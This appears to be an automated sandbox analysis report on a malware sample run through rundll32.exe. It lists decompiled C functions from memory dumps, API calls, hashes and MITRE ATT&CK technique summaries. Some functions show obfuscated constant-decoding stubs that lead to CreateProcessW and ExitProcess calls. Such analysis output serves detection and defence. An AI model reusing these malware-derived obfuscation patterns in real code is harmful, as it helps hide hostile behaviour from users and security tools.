0x6edd0752
0x6edd0754
0x00000000
0x00000000
0x00000000
0x6edd0754
0x6edd0732
0x00000000
0x6edd073d
0x6edd06f8
0x6edd06fb
0x6edd06fe
0x6edd070d
0x6edd0710
0x6edd06e7
0x6edd06e7
0x00000000
0x6edd06ea
0x6edd0704
0x6edd0709
0x6edd070b
0x6edd078c
0x6edd078c
0x00000000
0x6edd070b
0x6edd06d5
0x6edd06da
0x6edd06df
0x6edd06e1
0x6edd06e4
0x00000000

APIs

Part of subcall function 6EDD19B3: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EDD3B22,?,00000000,-00000008), ref: 6EDD1A5F

GetLastError.KERNEL32 ref: 6EDD072B
__dosmaperr.LIBCMT ref: 6EDD0732
GetLastError.KERNEL32(?,?,?,?), ref: 6EDD076C
__dosmaperr.LIBCMT ref: 6EDD0773

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: e440ccb9be7ed4002ca6cf5c704e75402848f8f922f8b811c6551c8d09d0dd20
Instruction ID: d005641276eb263c2babcdf7f5fc5a832eda08d65e67ce4be354acb761956755
Opcode Fuzzy Hash: e440ccb9be7ed4002ca6cf5c704e75402848f8f922f8b811c6551c8d09d0dd20
Instruction Fuzzy Hash: 0E21D771604205FF9B509FE6C88099BB7BFFF843F87148919E8589B244E730EC488BA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDD57E6, Relevance: 6.0, APIs: 4, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6EDD57E6(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0x6ee0acf0, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E6EDD57CF();
					E6EDD5791();
					_t13 = WriteConsoleW( *0x6ee0acf0, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x6edd5803
0x6edd5807
0x6edd5814
0x6edd5819
0x6edd5834
0x6edd5834
0x6edd583a

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,6EDD5197,?,00000001,?,?,?,6EDD4486,?,?,00000000), ref: 6EDD57FD
GetLastError.KERNEL32(?,6EDD5197,?,00000001,?,?,?,6EDD4486,?,?,00000000,?,?,?,6EDD4A0D,?), ref: 6EDD5809

Part of subcall function 6EDD57CF: CloseHandle.KERNEL32(FFFFFFFE,6EDD5819,?,6EDD5197,?,00000001,?,?,?,6EDD4486,?,?,00000000,?,?), ref: 6EDD57DF

___initconout.LIBCMT ref: 6EDD5819

Part of subcall function 6EDD5791: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6EDD57C0,6EDD5184,?,?,6EDD4486,?,?,00000000,?), ref: 6EDD57A4

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,6EDD5197,?,00000001,?,?,?,6EDD4486,?,?,00000000,?), ref: 6EDD582E

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: c0f86f86acf7aaf1d19b411df62670110f800189084856ad719a172f819eae12
Instruction ID: efd8cea251c627f41a217a19b153131c63de55335c45bc44bd7e301a2c5020dd
Opcode Fuzzy Hash: c0f86f86acf7aaf1d19b411df62670110f800189084856ad719a172f819eae12
Instruction Fuzzy Hash: 3AF01C36000619FBDF622FD5CC09A993F26FB0A7B0B114010FE1995120DB328870DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCD3E0, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6EDCD3E0(void* __ecx, void* __edx, signed char* _a4, signed char* _a8, intOrPtr _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v16;
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				signed int _v36;
				void* _v40;
				intOrPtr _v44;
				signed int _v48;
				intOrPtr _v56;
				void _v60;
				signed char* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t74;
				void* _t75;
				char _t76;
				signed char _t78;
				signed int _t80;
				signed char* _t81;
				signed int _t82;
				signed int _t83;
				intOrPtr* _t87;
				void* _t90;
				signed char* _t93;
				intOrPtr* _t96;
				signed char _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr* _t101;
				signed int _t102;
				signed int _t103;
				signed char _t108;
				signed char* _t111;
				signed int _t112;
				void* _t113;
				signed char* _t116;
				void* _t121;
				signed int _t123;
				void* _t130;
				void* _t131;

				_t110 = __edx;
				_t100 = __ecx;
				_t96 = _a4;
				if( *_t96 == 0x80000003) {
					return _t74;
				} else {
					_push(_t121);
					_push(_t113);
					_t75 = E6EDCCCF1(_t96, __ecx, __edx, _t113, _t121);
					if( *((intOrPtr*)(_t75 + 8)) != 0) {
						__imp__EncodePointer(0);
						_t121 = _t75;
						if( *((intOrPtr*)(E6EDCCCF1(_t96, __ecx, __edx, 0, _t121) + 8)) != _t121 &&  *_t96 != 0xe0434f4d &&  *_t96 != 0xe0434352) {
							_t87 = E6EDCC537(__edx, 0, _t121, _t96, _a8, _a12, _a16, _a20, _a28, _a32);
							_t130 = _t130 + 0x1c;
							if(_t87 != 0) {
								L16:
								return _t87;
							}
						}
					}
					_t76 = _a20;
					_v24 = _t76;
					_v20 = 0;
					if( *((intOrPtr*)(_t76 + 0xc)) > 0) {
						_push(_a28);
						E6EDCC46A(_t96, _t100, 0, _t121,  &_v40,  &_v24, _a24, _a16, _t76);
						_t112 = _v36;
						_t131 = _t130 + 0x18;
						_t87 = _v40;
						_v16 = _t87;
						_v8 = _t112;
						if(_t112 < _v28) {
							_t102 = _t112 * 0x14;
							_v12 = _t102;
							do {
								_t103 = 5;
								_t90 = memcpy( &_v60,  *((intOrPtr*)( *_t87 + 0x10)) + _t102, _t103 << 2);
								_t131 = _t131 + 0xc;
								if(_v60 <= _t90 && _t90 <= _v56) {
									_t93 = _v44 + 0xfffffff0 + (_v48 << 4);
									_t108 = _t93[4];
									if(_t108 == 0 ||  *((char*)(_t108 + 8)) == 0) {
										if(( *_t93 & 0x00000040) == 0) {
											_push(0);
											_push(1);
											E6EDCCFB6(_t112, _t96, _a8, _a12, _a16, _a20, _t93, 0,  &_v60, _a28, _a32);
											_t112 = _v8;
											_t131 = _t131 + 0x30;
										}
									}
								}
								_t112 = _t112 + 1;
								_t87 = _v16;
								_t102 = _v12 + 0x14;
								_v8 = _t112;
								_v12 = _t102;
							} while (_t112 < _v28);
						}
						goto L16;
					}
					E6EDCF563(_t96, _t100, _t110, 0, _t121);
					asm("int3");
					_t111 = _v68;
					_push(_t96);
					_push(_t121);
					_push(0);
					_t78 = _t111[4];
					if(_t78 == 0) {
						L41:
						_t80 = 1;
					} else {
						_t101 = _t78 + 8;
						if( *_t101 == 0) {
							goto L41;
						} else {
							_t116 = _a4;
							if(( *_t111 & 0x00000080) == 0 || ( *_t116 & 0x00000010) == 0) {
								_t97 = _t116[4];
								_t123 = 0;
								if(_t78 == _t97) {
									L33:
									if(( *_t116 & 0x00000002) == 0 || ( *_t111 & 0x00000008) != 0) {
										_t81 = _a8;
										if(( *_t81 & 0x00000001) == 0 || ( *_t111 & 0x00000001) != 0) {
											if(( *_t81 & 0x00000002) == 0 || ( *_t111 & 0x00000002) != 0) {
												_t123 = 1;
											}
										}
									}
									_t80 = _t123;
								} else {
									_t59 = _t97 + 8; // 0x6e
									_t82 = _t59;
									while(1) {
										_t98 =  *_t101;
										if(_t98 !=  *_t82) {
											break;
										}
										if(_t98 == 0) {
											L29:
											_t83 = _t123;
										} else {
											_t99 =  *((intOrPtr*)(_t101 + 1));
											if(_t99 !=  *((intOrPtr*)(_t82 + 1))) {
												break;
											} else {
												_t101 = _t101 + 2;
												_t82 = _t82 + 2;
												if(_t99 != 0) {
													continue;
												} else {
													goto L29;
												}
											}
										}
										L31:
										if(_t83 == 0) {
											goto L33;
										} else {
											_t80 = 0;
										}
										goto L42;
									}
									asm("sbb eax, eax");
									_t83 = _t82 | 0x00000001;
									goto L31;
								}
							} else {
								goto L41;
							}
						}
					}
					L42:
					return _t80;
				}
			}

0x6edcd3e0
0x6edcd3e0
0x6edcd3e7
0x6edcd3f0
0x6edcd50f
0x6edcd3f6
0x6edcd3f6
0x6edcd3f7
0x6edcd3f8
0x6edcd402
0x6edcd405
0x6edcd40b
0x6edcd415
0x6edcd43a
0x6edcd43f
0x6edcd444
0x6edcd50b
0x00000000
0x6edcd50c
0x6edcd444
0x6edcd415
0x6edcd44a
0x6edcd44d
0x6edcd450
0x6edcd456
0x6edcd45c
0x6edcd46e
0x6edcd473
0x6edcd476
0x6edcd479
0x6edcd47c
0x6edcd47f
0x6edcd485
0x6edcd48b
0x6edcd48e
0x6edcd491
0x6edcd4a0
0x6edcd4a1
0x6edcd4a1
0x6edcd4a6
0x6edcd4b9
0x6edcd4bb
0x6edcd4c0
0x6edcd4cb
0x6edcd4cd
0x6edcd4cf
0x6edcd4eb
0x6edcd4f0
0x6edcd4f3
0x6edcd4f3
0x6edcd4cb
0x6edcd4c0
0x6edcd4f9
0x6edcd4fa
0x6edcd4fd
0x6edcd500
0x6edcd503
0x6edcd506
0x6edcd491
0x00000000
0x6edcd485
0x6edcd510
0x6edcd515
0x6edcd519
0x6edcd51c
0x6edcd51d
0x6edcd51e
0x6edcd51f
0x6edcd524
0x6edcd59c
0x6edcd59e
0x6edcd526
0x6edcd526
0x6edcd52c
0x00000000
0x6edcd52e
0x6edcd531
0x6edcd534
0x6edcd53b
0x6edcd53e
0x6edcd542
0x6edcd574
0x6edcd577
0x6edcd57e
0x6edcd584
0x6edcd58e
0x6edcd597
0x6edcd597
0x6edcd58e
0x6edcd584
0x6edcd598
0x6edcd544
0x6edcd544
0x6edcd544
0x6edcd547
0x6edcd547
0x6edcd54b
0x00000000
0x00000000
0x6edcd54f
0x6edcd563
0x6edcd563
0x6edcd551
0x6edcd551
0x6edcd557
0x00000000
0x6edcd559
0x6edcd559
0x6edcd55c
0x6edcd561
0x00000000
0x00000000
0x00000000
0x00000000
0x6edcd561
0x6edcd557
0x6edcd56c
0x6edcd56e
0x00000000
0x6edcd570
0x6edcd570
0x6edcd570
0x00000000
0x6edcd56e
0x6edcd567
0x6edcd569
0x00000000
0x6edcd569
0x00000000
0x00000000
0x00000000
0x6edcd534
0x6edcd52c
0x6edcd59f
0x6edcd5a3
0x6edcd5a3

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 6EDCD405

Strings

RCC, xrefs: 6EDCD41F
MOC, xrefs: 6EDCD417

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ddad8668a3f1684533ad5bd79f31d45c736c8d8a582676607007bb846ee44ad1
Instruction ID: 6b3fee80fcc7d52358578045344f0f4c71b8e89ddf5c8fb8aebfea617888bd88
Opcode Fuzzy Hash: ddad8668a3f1684533ad5bd79f31d45c736c8d8a582676607007bb846ee44ad1
Instruction Fuzzy Hash: 3041447190020AEFDF01CF94CD80AEEBBB9AF48748F148059FA04A7264D335E951DF62

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 4396 Parent PID: 5444 rundll32.exeCOMMON

Executed Functions

Function 0284505F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0284505F() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t29;

				_v12 = 0xab28db;
				_v12 = _v12 * 0xb;
				_v12 = _v12 | 0x438b2011;
				_v12 = _v12 ^ 0x47dfe9f9;
				_v8 = 0x2279c5;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 << 5;
				_v8 = _v8 ^ 0x1ef6af05;
				_v16 = 0x91523b;
				_v16 = _v16 ^ 0x417bd16a;
				_v16 = _v16 ^ 0x41eb784b;
				E02850A93(0x9aad6eb1, 0x12d, _t29, _t29, 0x97da6f6d);
				ExitProcess(0);
			}

0x02845065
0x0284507c
0x02845084
0x0284508b
0x02845092
0x0284509d
0x028450a0
0x028450a4
0x028450ab
0x028450b2
0x028450b9
0x028450c9
0x028450d3

APIs

ExitProcess.KERNEL32(00000000), ref: 028450D3

Strings

KxA, xrefs: 028450B9

Memory Dump Source

Source File: 00000004.00000002.534990244.0000000002840000.00000040.00000010.sdmp, Offset: 02840000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID: KxA
API String ID: 621844428-223459762
Opcode ID: 72bf4aae16cd11734e86aa57fe45557da35340bda08c7e5569cc87c1b667450f
Instruction ID: 7104097aad1b2918f41459277dab29b613711778bc2b39beb2fef8480f88861e
Opcode Fuzzy Hash: 72bf4aae16cd11734e86aa57fe45557da35340bda08c7e5569cc87c1b667450f
Instruction Fuzzy Hash: F601F274D05208FBCB48DFE9D94698DFFB4EB44304F218199E911A72A0D7702BA49F05

Uniqueness

Uniqueness Score: -1.00%

Function 02842C3A, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E02842C3A(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t23;
				int _t29;
				WCHAR* _t33;

				_push(_a12);
				_t33 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E0284358A(_t23);
				_v16 = 0x4d9c80;
				_v16 = _v16 | 0xcc7fbb6c;
				_v16 = _v16 ^ 0xcc74081e;
				_v12 = 0xfa0b63;
				_v12 = _v12 | 0xd4c459ea;
				_v12 = _v12 ^ 0xd4f66af0;
				_v8 = 0x175dc5;
				_v8 = _v8 | 0x605a8863;
				_v8 = _v8 ^ 0x60557826;
				E02850A93(0xaea26b2f, 0x23c, __ecx, __ecx, 0x97da6f6d);
				_t29 = lstrcmpiW(_t33, _a8); // executed
				return _t29;
			}

0x02842c41
0x02842c44
0x02842c46
0x02842c49
0x02842c4c
0x02842c4d
0x02842c4e
0x02842c53
0x02842c5d
0x02842c64
0x02842c6b
0x02842c72
0x02842c79
0x02842c80
0x02842c87
0x02842c8e
0x02842caf
0x02842cbb
0x02842cc1

APIs

lstrcmpiW.KERNELBASE(?,CC74081E,?,?,?,?,?,?,?,?,00000000), ref: 02842CBB

Strings

&xU`, xrefs: 02842C8E

Memory Dump Source

Source File: 00000004.00000002.534990244.0000000002840000.00000040.00000010.sdmp, Offset: 02840000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: &xU`
API String ID: 1586166983-1954668127
Opcode ID: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction ID: 1c17a0f11843c6d42285f3e45268135343854d3d025b96632b3ec4dac6253e2f
Opcode Fuzzy Hash: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction Fuzzy Hash: 44011679D0125CBBDB19DFD5994A99EBFB5EF04310F10C088E819A6220D7719B209F96

Uniqueness

Uniqueness Score: -1.00%

Function 0284F66B, Relevance: 1.6, APIs: 1, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E0284F66B(WCHAR* __ecx, intOrPtr _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, struct _STARTUPINFOW* _a40, struct _PROCESS_INFORMATION* _a44, intOrPtr _a48, int _a56, WCHAR* _a60) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t46;
				int _t57;
				signed int _t59;
				signed int _t60;
				WCHAR* _t67;

				_push(_a60);
				_t67 = __ecx;
				_push(_a56);
				_push(0);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(0);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(0);
				_push(_a4);
				_push(0);
				_push(__ecx);
				E0284358A(_t46);
				_v12 = 0xe19ae5;
				_v12 = _v12 + 0xe09a;
				_t59 = 0x16;
				_v12 = _v12 * 0x55;
				_v12 = _v12 ^ 0x4b33a1b3;
				_v8 = 0x3d4fbd;
				_v8 = _v8 ^ 0xea855bbf;
				_t60 = 0x67;
				_v8 = _v8 / _t59;
				_v8 = _v8 ^ 0x0aa3a294;
				_v16 = 0x5e6fbc;
				_v16 = _v16 / _t60;
				_v16 = _v16 ^ 0x00005386;
				E02850A93(0xae3271c4, 0x240, _t60, _t60, 0x97da6f6d);
				_t57 = CreateProcessW(_t67, _a60, 0, 0, _a56, 0, 0, 0, _a40, _a44); // executed
				return _t57;
			}

0x0284f673
0x0284f678
0x0284f67a
0x0284f67d
0x0284f67e
0x0284f681
0x0284f684
0x0284f687
0x0284f688
0x0284f689
0x0284f68c
0x0284f68f
0x0284f692
0x0284f695
0x0284f698
0x0284f699
0x0284f69c
0x0284f69d
0x0284f69e
0x0284f6a3
0x0284f6ad
0x0284f6bc
0x0284f6bf
0x0284f6c2
0x0284f6c9
0x0284f6d0
0x0284f6dc
0x0284f6dd
0x0284f6e2
0x0284f6e9
0x0284f6fa
0x0284f6fd
0x0284f719
0x0284f733
0x0284f73a

APIs

CreateProcessW.KERNELBASE(2D09D167,?,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 0284F733

Memory Dump Source

Source File: 00000004.00000002.534990244.0000000002840000.00000040.00000010.sdmp, Offset: 02840000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 23bdea19f37545656c8519616df4547577199db0088a864ae2cd4e3c52a4600c
Instruction ID: 94cfb87fadd4fdd3aa333b85c40cabb43dd2665cf533d42ef79ebe38b8801bbe
Opcode Fuzzy Hash: 23bdea19f37545656c8519616df4547577199db0088a864ae2cd4e3c52a4600c
Instruction Fuzzy Hash: 58210A36900148FBDF15DF95CC0ACDFBFBAEB89700F108089FA1466250D7B69A60DB51

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: rundll32.exe PID: 2144 Parent PID: 5724 rundll32.exeCOMMON

Executed Functions

Function 02EC505F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E02EC505F() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t29;

				_v12 = 0xab28db;
				_v12 = _v12 * 0xb;
				_v12 = _v12 | 0x438b2011;
				_v12 = _v12 ^ 0x47dfe9f9;
				_v8 = 0x2279c5;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 << 5;
				_v8 = _v8 ^ 0x1ef6af05;
				_v16 = 0x91523b;
				_v16 = _v16 ^ 0x417bd16a;
				_v16 = _v16 ^ 0x41eb784b;
				E02ED0A93(0x9aad6eb1, 0x12d, _t29, _t29, 0x97da6f6d);
				ExitProcess(0);
			}

0x02ec5065
0x02ec507c
0x02ec5084
0x02ec508b
0x02ec5092
0x02ec509d
0x02ec50a0
0x02ec50a4
0x02ec50ab
0x02ec50b2
0x02ec50b9
0x02ec50c9
0x02ec50d3

APIs

ExitProcess.KERNEL32(00000000), ref: 02EC50D3

Strings

KxA, xrefs: 02EC50B9

Memory Dump Source

Source File: 00000010.00000002.651976449.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: true

Yara matches

Similarity

API ID: ExitProcess
String ID: KxA
API String ID: 621844428-223459762
Opcode ID: 72bf4aae16cd11734e86aa57fe45557da35340bda08c7e5569cc87c1b667450f
Instruction ID: e5b5ed5cd999c7617179691f2ad3468d5c75d5a4d5b8af93dbc3c5f846dd6ef6
Opcode Fuzzy Hash: 72bf4aae16cd11734e86aa57fe45557da35340bda08c7e5569cc87c1b667450f
Instruction Fuzzy Hash: DD01F270D05208FBCB48DFE9D94698DFFB4EB40304F218199E511A72A0D7702B959F05

Uniqueness

Uniqueness Score: -1.00%

Function 02EC2C3A, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E02EC2C3A(void* __ecx, WCHAR* __edx, intOrPtr _a4, WCHAR* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t23;
				int _t29;
				WCHAR* _t33;

				_push(_a12);
				_t33 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E02EC358A(_t23);
				_v16 = 0x4d9c80;
				_v16 = _v16 | 0xcc7fbb6c;
				_v16 = _v16 ^ 0xcc74081e;
				_v12 = 0xfa0b63;
				_v12 = _v12 | 0xd4c459ea;
				_v12 = _v12 ^ 0xd4f66af0;
				_v8 = 0x175dc5;
				_v8 = _v8 | 0x605a8863;
				_v8 = _v8 ^ 0x60557826;
				E02ED0A93(0xaea26b2f, 0x23c, __ecx, __ecx, 0x97da6f6d);
				_t29 = lstrcmpiW(_t33, _a8); // executed
				return _t29;
			}

0x02ec2c41
0x02ec2c44
0x02ec2c46
0x02ec2c49
0x02ec2c4c
0x02ec2c4d
0x02ec2c4e
0x02ec2c53
0x02ec2c5d
0x02ec2c64
0x02ec2c6b
0x02ec2c72
0x02ec2c79
0x02ec2c80
0x02ec2c87
0x02ec2c8e
0x02ec2caf
0x02ec2cbb
0x02ec2cc1

APIs

lstrcmpiW.KERNELBASE(?,CC74081E,?,?,?,?,?,?,?,?,00000000), ref: 02EC2CBB

Strings

&xU`, xrefs: 02EC2C8E

Memory Dump Source

Source File: 00000010.00000002.651976449.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: true

Yara matches

Similarity

API ID: lstrcmpi
String ID: &xU`
API String ID: 1586166983-1954668127
Opcode ID: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction ID: c00f225b2ec80e2f4fae26be7507cd9a1ce938324dbcdbdba8b0fb82005f3718
Opcode Fuzzy Hash: 33fbf76182eafc49d529afff0049f42f4ee3fc7ed41e886679a16bb7a8d61cf5
Instruction Fuzzy Hash: CA011675D41248BBDB04DFD5D94A99EBFB5EF04310F10C088E81966220D7719B119F96

Uniqueness

Uniqueness Score: -1.00%

Function 02ECF66B, Relevance: 1.6, APIs: 1, Instructions: 74
processCOMMON

Download Yara Rule

C-Code - Quality: 39%

			E02ECF66B(WCHAR* __ecx, intOrPtr _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, struct _STARTUPINFOW* _a40, struct _PROCESS_INFORMATION* _a44, intOrPtr _a48, int _a56, WCHAR* _a60) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* _t46;
				int _t57;
				signed int _t59;
				signed int _t60;
				WCHAR* _t67;

				_push(_a60);
				_t67 = __ecx;
				_push(_a56);
				_push(0);
				_push(_a48);
				_push(_a44);
				_push(_a40);
				_push(0);
				_push(0);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12);
				_push(0);
				_push(_a4);
				_push(0);
				_push(__ecx);
				E02EC358A(_t46);
				_v12 = 0xe19ae5;
				_v12 = _v12 + 0xe09a;
				_t59 = 0x16;
				_v12 = _v12 * 0x55;
				_v12 = _v12 ^ 0x4b33a1b3;
				_v8 = 0x3d4fbd;
				_v8 = _v8 ^ 0xea855bbf;
				_t60 = 0x67;
				_v8 = _v8 / _t59;
				_v8 = _v8 ^ 0x0aa3a294;
				_v16 = 0x5e6fbc;
				_v16 = _v16 / _t60;
				_v16 = _v16 ^ 0x00005386;
				E02ED0A93(0xae3271c4, 0x240, _t60, _t60, 0x97da6f6d);
				_t57 = CreateProcessW(_t67, _a60, 0, 0, _a56, 0, 0, 0, _a40, _a44); // executed
				return _t57;
			}

0x02ecf673
0x02ecf678
0x02ecf67a
0x02ecf67d
0x02ecf67e
0x02ecf681
0x02ecf684
0x02ecf687
0x02ecf688
0x02ecf689
0x02ecf68c
0x02ecf68f
0x02ecf692
0x02ecf695
0x02ecf698
0x02ecf699
0x02ecf69c
0x02ecf69d
0x02ecf69e
0x02ecf6a3
0x02ecf6ad
0x02ecf6bc
0x02ecf6bf
0x02ecf6c2
0x02ecf6c9
0x02ecf6d0
0x02ecf6dc
0x02ecf6dd
0x02ecf6e2
0x02ecf6e9
0x02ecf6fa
0x02ecf6fd
0x02ecf719
0x02ecf733
0x02ecf73a

APIs

CreateProcessW.KERNELBASE(2D09D167,?,00000000,00000000,?,00000000,00000000,00000000,?,?), ref: 02ECF733

Memory Dump Source

Source File: 00000010.00000002.651976449.0000000002EC0000.00000040.00000001.sdmp, Offset: 02EC0000, based on PE: true

Yara matches

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 23bdea19f37545656c8519616df4547577199db0088a864ae2cd4e3c52a4600c
Instruction ID: 95ac59a2e5a8207f6084f7d99f7f8ee11d91ebee5942ac64dc60d3ec55abc3cd
Opcode Fuzzy Hash: 23bdea19f37545656c8519616df4547577199db0088a864ae2cd4e3c52a4600c
Instruction Fuzzy Hash: F4210A36900248FBDF15DF95DD0ACDFBFBAEB89700F108089FA1466250D7B69A60DB51

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

